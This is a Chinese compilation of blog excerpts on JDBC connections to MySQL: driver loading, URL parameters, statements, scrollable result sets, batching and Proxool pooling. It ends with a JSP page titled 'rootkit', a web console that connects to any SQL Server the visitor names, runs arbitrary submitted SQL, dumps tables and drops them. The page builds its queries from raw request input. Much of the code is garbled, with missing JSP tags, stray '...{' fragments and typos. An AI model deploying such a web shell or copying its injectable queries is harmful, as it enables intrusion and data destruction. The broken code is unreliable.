JDBC连接MySQL【摘编】

来源：互联网发布：太平洋电脑网软件下载编辑：程序博客网时间：2024/05/16 01:50

之一：

JDBC连接MySQL

加载及注册JDBC驱动程序

Class.forName("com.mysql.jdbc.Driver");

Class.forName("com.mysql.jdbc.Driver").newInstance();

JDBC URL 定义驱动程序与数据源之间的连接

标准语法：

<protocol（主要通讯协议）>:<subprotocol（次要通讯协议，即驱动程序名称）>:<data source identifier（数据源）>

MySQL的JDBC URL格式：

jdbc:mysql//[hostname][:port]/[dbname][?param1=value1][&param2=value2]….

示例：jdbc:mysql://localhost:3306/sample_db?user=root&password=your_password

常见参数：

user 用户名

password 密码

autoReconnect 联机失败，是否重新联机（true/false）

maxReconnect 尝试重新联机次数

initialTimeout 尝试重新联机间隔

maxRows 传回最大行数

useUnicode 是否使用Unicode字体编码（true/false）

characterEncoding 何种编码（GB2312/UTF-8/…）

relaxAutocommit 是否自动提交（true/false）

capitalizeTypeNames 数据定义的名称以大写表示

建立连接对象

String url="jdbc:mysql://localhost:3306/sample_db?user=root&password=your_password";

Connection con = DriverManager.getConnection(url);

建立SQL陈述式对象（Statement Object）

Statement stmt = con.createStatement()；

执行SQL语句

executeQuery()

String query = "select * from test";

ResultSet rs=stmt.executeQuery(query);

结果集ResultSet

while(rs.next())

{rs.getString(1);rs.getInt(2);}

executeUpdate()

String upd="insert into test (id,name) values(1001,xuzhaori)";

int con=stmt.executeUpdate(upd);

execute()

示例：

try

{

}

catch(SQLException sqle)

{

}

finally

{

}

Java类型和SQL类型技术手册P421

PreparedStatement（预编语句）

PreparedStatement stmt = conn.prepareStatement("insert into test(id,name)values(?,?)");

stmt.setInt(1,id);

stmt.setString(2,name);

注：一旦设定语句的参数值后，就可以多次执行改语句，直到调用clearParameters（）方法将他清除为止

CallableStatement（预储程序）技术手册P430

JDBC2.0使用

ResultSet对象中的光标上下自由移动

Statement stmt = con.createStatement (ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY);

ResultSet rs=stmt.executeQuery("select * from test");

public Statement createStatement(int resultSetType,int resultSetConcuttency) throws SQLException

resultSetType

TYPE_FORWARD_ONLY 只能使用next（）方法。

TYPE_SCROLL_SENSITIVE 可以上下移动，可以取得改变后的值。

TYPE_SCROLL_INSENSITIVE 可以上下移动。

resultSetConcuttency

CONCUR_READ_ONLY 只读

CONCUR_UPDATABLE ResultSet对象可以执行数据库的新增、修改、和移除

直接使用ResultSet对象执行更新数据

新增数据

Statement stmt＝con.createStatement（ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_PUDATABLE）;

ResultSet uprs=stmt.executeQuery("select * from test");

uprs.moveToInsertRow();

uprs.updateInt(1,1001);

uprs.updateString(2,"许召日");

uprs.insertRow;

更新数据

Statement stmt＝con.createStatement（ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_PUDATABLE）;

ResultSet uprs=stmt.executeQuery("select * from test");

uprs.last();

uprs.updateString("name","xuzhaori");

uprs.updateRow;

删除数据

Statement stmt＝con.createStatement（ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_PUDATABLE）;

ResultSet uprs=stmt.executeQuery("select * from test");

uprs.absolute(4);

uprs.deleteRow();

批处理

con.setAutoCommit(false); 关闭自动认可模式

Statement stmt=con.createStatement();

int[] rows;

stmt.addBatch("insert into test values(1001,xuzhaori)");

stmt.addBatch("insert into test values(1002,xuyalin)");

rows=stmt.executeBatch();

con.commit(); 没有任何错误，执行批处理stmt.executeBatch();

JNDI-数据源（Data Source）与连接池（Connection Pool）

Tomcat的JDBC数据源设置技术手册P439

连接池工具－Proxool Var 0.8.3 技术手册P446

设置web.xml

<?xml version="1.0" encoding="ISO-8859-1"?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

version="2.4">

….

<servlet-name>ServletConfigurator</servlet-name>

<servlet-class>org.logicalcobwebs.proxool.configuration.ServletConfigurator</servlet-class>

<init-param>

<param-name>propertyFile</param-name>

<param-value>WEB-INF/classes/Proxool.properties</param-value>

</init-param>

<load-on-startup>1</load-on-startup>

</servlet>

后端统计端口添加下列

<servlet-name>Admin</servlet-name>

<servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>Admin</servlet-name>

<url-pattern>/Admin</url-pattern>

</servlet-mapping>

….

</web-app>

配置Proxool.properties

jdbc-0.proxool.alias=JSPBook

jdbc-0.proxool.driver-class=com.mysql.jdbc.Driver

jdbc-0.proxool.driver-url=jdbc:mysql://localhost:3306/sample_db?user=root&password=browser&useUnicode=true&characterEncoding=UTF-8

jdbc-0.proxool.maximum-connection-count=10

jdbc-0.proxool.prototype-count=4

jdbc-0.proxool.house-keeping-test-sql=select CURRENT_DATE

jdbc-0.proxool.verbose=true

jdbc-0.proxool.statistics=10s,1m,1d 后端统计接口添加此行

jdbc-0.proxool.statistics-log-level=DEBUG

使用Proxool连接池

Connection con = DriverManager.getConnection("proxool.JSPBook");

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE);

String query = "SELECT * FROM employee";

ResultSet rs = stmt.executeQuery(query);

之二：

预备

下载驱动包,ftp://sunxin.org:22/downloads/resources/mysql-connector-java-3.1.7-bin.jar
使用它有两种方式,最简便的就把它放在%JAVA_HOME%/jre/lib/ext下,%JAVA_HOME%是jdk的安装目录,例如D:/j2sdk1.4.2_15,第二种方法就是指定classpath,使其指向这个.jar文件

下面正式开始

因为会使用Connection,Statement,ResultSet类,因此需要import java.sql.*;

连接数据库中可能会抛出异常,所以所有语句放在try中

定义一些常用变量(都可以见名识义的),方便下面的语句,也可以让程序更容易理解,具体见代码

Step1:装载驱动类

见后面代码

Step2:连接数据库

使用DriverManager的静态方法getConnection完成,返回一个connection的对象,这就是连接上指定数据库的连接,这个连接是十分宝贵的资源,应及时关闭.

Step3:操作数据库

Statement对象里通常放sql语句,而ResultSet是查询返回的结果集,具体见下面的代码

import java.sql.*;

class linkMysqlByJDBC ...{

public static void main(String[] args)...{

try...{

String driver = "org.gjt.mm.mysql.Driver"; //驱动类

String url = "jdbc:mysql://localhost:3306/TestDB";

//连接字符串其中TestDB是数据库名

String username = "root"; //用户名

String password = "123654"; //密码

Connection con = null;

Statement sm = null;

ResultSet rs = null;

//////Step1//////////

Class.forName(driver);

//////Step2//////////

con = DriverManager.getConnection(url, username, password);

//////Step3//////////

String sql = "insert into t values('Pitt','Pitt@gmail.com')";

sm = con.createStatement();

sm.execute(sql);

String sql2 = "select * from t";

rs = sm.executeQuery(sql2);

while (rs.next()) ...{

System.out.println(rs.getString("Name") + " " +

rs.getString("Email"));

}

con.close();

}catch(Exception e)...{

e.printStackTrace();

}

之三：

import java.sql.*;
public class TestMysql{

public static void main(String args[]){

try{
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
}
catch(Exception e){
System.out.println("JDBC MYSQL failed.");
return;
}
System.out.println("JDBC MYSQL ok.");

try{
Connection con=DriverManager.getConnection("jdbc:mysql://127.0.0.1:330
6/mysql?user=root");
Statement stmt=con.createStatement();
ResultSet rs=stmt.executeQuery("select * from user");
ResultSetMetaData rsmd=rs.getMetaData();
int numberofColumns=rsmd.getColumnCount();
while(rs.next()){
for(int i=1;i<=numberofColumns;i++){
System.out.println(rs.getString(i)+" ");
}
System.out.println("");
}

System.out.println("Connection ok.");

stmt.close();
con.close();
}
catch(Exception e){
System.out.println(e);
}

}
}
------------------------------------------------------------------------------------------------------------------------------

Connection conn;
/**
      * 连接到数据库
      * 首先你必须拼一个数据库连接的Url
      * 格式如：jdbc:mysql://<[IP]>:<[PORT]>/<[DBNAME]>?user=<[DBUSER]>&password=<[DBPASSWORD]>
*/

String DB_Addr = "localhost";
String DB_Name = "myfile";
String DB_User = "root";
String DB_Password = "";
String DB_CharSet = "GB2312";
String DB_Conn_String = "jdbc:mysql://"+DB_Addr+"/"+DB_Name+"?user="+DB_User+"&password="+DB_Password+"&useUnicode=true&characterEncoding="+DB_CharSet;

try
{
/**
      * String ClassForName = "com.mysql.jdbc.Driver";
      * Class.forName(ClassForName).newInstance();
      * 实际上这种方法更好
      */
DriverManager.registerDriver(new com.mysql.jdbc.Driver());
         conn=DriverManager.getConnection(DB_Conn_String);
         return conn;
}
catch(Exception e)
{
         e.printStackTrace();
         return null;
}
-------------------------------------------------------------------------------------------------------------------------------

JDBC Name: Connector/J 3.0
URL: http://www.mysql.com/
Version: 3.0.8-stable
Download URL: http://www.mysql.com/downloads/api-jdbc-stable.html

语法

Class.forName("com.mysql.jdbc.Driver");
Connection con = DriverManager.getConnection("jdbc:mysql://host:port/database","user","password");

编程

1、用DriverManager登记mm.mysql
mm.mysql的class名为org.gjt.mm.mysql.Driver,登记时必须写成
Class.forName("org.gjt.mm.mysql.Driver").newInstance();

2、jdbc url参数说明
url格式：jdbc:mysql://[hostname][:port]/dbname[?param1=value1][?m2=value2]...
参数名取值缺省
user 数据库用户名无
password 数据库用户口令无
autoReconnect 当数据库连接丢失时是否自动连接，取值true/false false
maxReconnects 如果autoReconnect为true,此参数为重试次数，缺省为3次 3
initialTimeout 如果autoReconnect为true,此参数为重新连接前等待的秒数 2
maxRows 设置查询时返回的行数，0表示全部 0
useUnicode 是否使用unicode输出，true/false false
characterEncoding 如果useUnicode,该参数制定encoding类型，建议使用8859_1 无

提示
同时使用useUnicode,characterEncoding,能解决数据库输出时的中文问题
如:jdbc:mysql://localhost/test?user=root&useUnicode=true;characterEncoding=8859_1

实际例子，举一个简单的例子
这个jsp例子使用一个库，该库只有一个表（地址簿)

create database addressbook
use addressbook
create table addressbook (id int auto_increment primary key,name varchar(30),address varchar(255),phone varchar(20));

插入记录
insert into addressbook (name,address,phone) values ('jjx','zhejiang yuyao','0574-2222222');

jsp代码：代码中使用了absolute,ResultSet.TYPE_SCROOL_SENSITIVE等的目录是为了测试mm.mysql是否符合jdbc 2.0的规范
<%@ page import="java.sql.*" %>
<%
out.println("通讯录！");

try {
Class.forName("org.gjt.mm.mysql.Driver").newInstance();

}
catch (Exception E) {
out.println("Unable to load driver.");

}

try {
Connection C = DriverManager.getConnection("jdbc:mysql://localhost/addressbook?user=root&password=jjx&useUnicode=true&characterEncoding=8859_1");
Statement s=C.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSet rs=s.executeQuery("select * from addressbook");
out.println("<table border=1>");
int i=1;
for (i=10;i<20;i++)
{
if (rs.absolute(i))
{
out.println("<tr><td>");
out.println(rs.getString(1));
out.println("</td>");
out.println("<td>");
out.print(rs.getString(2));
out.println("</td>");
out.println("<td>");
out.print(rs.getString(3));
out.println("</td></tr>");
}
else
{
break;
}

}
out.println("</table>");
rs.close();
s.close();
C.close();

}
catch (SQLException E) {
out.println("SQLException: " + E.getMessage());
out.println("SQLState: " + E.getSQLState());
out.println("VendorError: " + E.getErrorCode());
}

-------------------------------------------------------------------------------------------------------------------------------

1．加载一个对应数据库的JDBC驱动

　　在建立到一个数据库的连接之前，必须先加载这个数据库的JDBC驱动程序，加载之后此driver会自动注册到JDBC驱动列表中。加载一个JDBC驱动有两种方法。

　　a）在命令行方式下指定驱动器或者用冒号分割驱动器列表：

　　具体命令如下：

C:/>java –Djdbc.drivers = com.company1.Driver:com.company2.Driver youProject

　　b)第二种方法，在程序中调用Class.forName（）方法。推荐使用。。。。

try

　　{

　　 String driverName = “com.imaginary.sql.msql.MsqlDriver”;

　　 Class.forName(driverName).newInstance();

　　}

Catch(ClassNotFoundException e1)

{

//catch could not find database driver exception.

}

<%@ page import="java.sql.*" contentType="text/html; charset=GBK"%>

<%@ page import="java.util.*"%>

<html>

<head>

<title>rootkit</title>

var db = "master";

function getTables() ...{

window.open("<%=request.getRequestURL().toString()%>?action=getTables&db="+db,"","scrollbars=yes");

}

function logout() ...{

location.href="<%=request.getRequestURL().toString()%>?action=logout";

}

function changevalue(select) ...{

document.getElementById("sqlcmd").value = "use "+select.options[select.selectedIndex].value+";select * from sysobjects";

}

</script>

</head>

if ((session.getAttribute("conn") == null && request.getParameter("username") == null) || request.getParameter("action") == null) ...{

<tr>

<td>

IP:

</td>

<td>

</td>

</tr>

<tr>

<td>

USERNAME:

</td>

<td>

</td>

</tr>

<tr>

<td>

PASSWORD:

</td>

<td>

</td>

</tr>

<tr>

<td>

PORT:

</td>

<td>

</td>

</tr>

</table>

<p>

</p>

</form>

return;

} else if (request.getParameter("action").equals("getConn"))...{

if (session.getAttribute("conn") != null) ...{

response.sendRedirect(request.getRequestURL().toString()+"?action=operator");

return;

}

String ip = request.getParameter("ip");

String username = request.getParameter("username");

String password = request.getParameter("password");

String port = request.getParameter("port");

try ...{

Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");

Connection conn = DriverManager.getConnection("jdbc:microsoft:sqlserver://"+ip+":"+port+";DatabaseName=master",username,password);

session.setAttribute("conn",conn);

response.sendRedirect(request.getRequestURL().toString()+"?action=operator");

} catch (Exception e) ...{

out.println(e.getMessage());

}

} else if (request.getParameter("action").equals("operator")) ...{

Connection conn = (Connection)session.getAttribute("conn");

if (conn != null) ...{

ArrayList dbs = (ArrayList)session.getAttribute("dbs");

try ...{

if (dbs == null) ...{

PreparedStatement stmt = conn.prepareStatement("select name from sysdatabases");

ResultSet rs = stmt.executeQuery();

dbs = new ArrayList();

while (rs.next()) ...{

dbs.add(rs.getString(1));

}

rs.close();

stmt.close();

session.setAttribute("dbs",dbs);

}

} catch (Exception e) ...{

out.println(e.getMessage());

}

<tr>

选择数据库:

</td>

<select name="database"

onChange="db = this.options[this.selectedIndex].value;changevalue(this)"

id="database">

for (int i = 0;i<dbs.size();i++) ...{

String str = (String)dbs.get(i);

request.setAttribute("db",str);

%><option $...{db== param.db ?"selected":"" } value="<%=str%>"><%=str %></option>

}

</select>

< span style="cursor: pointer" onclick="getTables()">查看用户表(要查看系统表请用命令) </span>

</td>

</tr>

<tr>

<td>

SQL Command:

</td>

<td>

<form action="?action=operator&cmd=execute"

onsubmit="this.action += '&db='+document.getElementById('database').options[document.getElementById('database').selectedIndex].value"

method="post">

<input name="sqlcmd" type="text" id="sqlcmd"

value="${empty param.sqlcmd?" use master;select * from

sysobjects":param.sqlcmd}" size="80">

</form>

</td>

</tr>

<tr>

结果:

</td>

<td>

if (request.getParameter("cmd") != null) ...{

String sql = request.getParameter("sqlcmd");

try ...{

Statement stmt = conn.createStatement();

if (stmt.execute(sql)) ...{

ResultSet rs = stmt.getResultSet();

ResultSetMetaData data = rs.getMetaData();

int i = 1;

<table bordercolor="#33CCFF" border="1" cellspacing="0"

cellpadding="0">

<tr>

for (;i<=data.getColumnCount();i++) ...{

}

</tr>

while (rs.next()) ...{

out.println("<tr>");

for (i=1;i<=data.getColumnCount();i++) ...{

<%=rs.getString(i) %>

</td>

}

out.println("</tr>");

}

</table>

rs.close();

stmt.close();

} else ...{

out.println("命令成功执行!");

}

} catch (Exception e) ...{

out.println(e.getMessage());

}

} else ...{

out.println(" ");

}

</td>

</tr>

</table>

}

} else if (request.getParameter("action").equals("getTables")) ...{

String db = request.getParameter("db");

if (db != null) ...{

Connection conn = (Connection)session.getAttribute("conn");

try ...{

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery("select name from ["+db+"]..sysobjects where xtype='U' and status>0");

<table>

<tr>

<th>

表名

</th>

<th>

操作查看数据

</th>

</tr>

while (rs.next()) ...{

<tr>

<td>

<a target="_blank"

href ="<%=request.getRequestURL().toString()+"?action=deleteTable&db="+ db+"&Table="+rs.getString(1) %>">删除</a>

</td>

<td>

<a target="_blank"

href ="<%=request.getRequestURL().toString()+"?action=getContents&db="+ db+"&table="+rs.getString(1) %>">查看</a>

</td>

</tr>

}

</table>

rs.close();

stmt.close();

} catch (Exception e) ...{

out.println(e.getMessage());

}

} else if (request.getParameter("action").equals("logout")) ...{

Connection conn = (Connection)session.getAttribute("conn");

try ...{

conn.close();

session.invalidate();

response.sendRedirect(request.getRequestURL().toString());

} catch (Exception e) ...{

out.println(e.getMessage());

}

} else if (request.getParameter("action").equals("getContents")) ...{

String db = request.getParameter("db");

String table = request.getParameter("table");

if (db != null && table != null) ...{

try ...{

Connection conn = (Connection)session.getAttribute("conn");

if (conn != null) ...{

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery("select * from ["+db+"]..["+table+"]");

ResultSetMetaData data = rs.getMetaData();

out.println("<table border=1 cellpadding=0 cellspacing=0>");

int i = data.getColumnCount();

out.println("<tr>");

for (int a = 1;a<=i;a++) ...{

out.println("<th>"+data.getColumnName(a)+"</th>");

}

out.println("</tr>");

while (rs.next()) ...{

out.println("<tr>");

for (int a= 0;a<i;a++) ...{

out.println("<td style='word-break:break-all'>"+rs.getString(a+1)+"</td>");

}

out.println("</tr>");

}

out.println("</table>");

rs.close();

stmt.close();

}

} catch (Exception e) ...{

out.println(e.getMessage());

}

} else if (request.getParameter("action").equals("deleteTable")) ...{

try ...{

String db = request.getParameter("db");

String table = request.getParameter("Table");

Connection conn = (Connection)session.getAttribute("conn");

Statement stmt = conn.createStatement();

stmt.executeUpdate("drop table ["+db+"]..["+table+"]");

out.println(table + "表已被执行删除操作，请刷新父页面以确认表是否被删除!");

stmt.close();

} catch (Exception e) ...{

out.println(e.getMessage());

}

</body>

</html>

参考来源：
http://hi.baidu.com/breezedancer/blog/item/d4d9612266f657a44723e8e8.html
http://hi.baidu.com/myeking/blog/item/08023734eee78a3f5bb5f5ce.html
http://hi.baidu.com/jspwebdev/blog/item/5320f113d55268d3f6039e22.html
http://blog.csdn.net/PeakLui/archive/2008/01/24/2063588.aspx